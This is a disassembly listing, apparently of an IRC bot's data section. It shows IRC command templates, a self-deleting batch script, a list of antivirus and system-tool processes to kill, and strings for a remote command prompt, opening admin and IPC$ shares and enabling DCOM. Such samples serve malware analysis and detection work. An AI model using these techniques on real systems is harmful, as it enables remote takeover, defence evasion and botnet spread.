aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
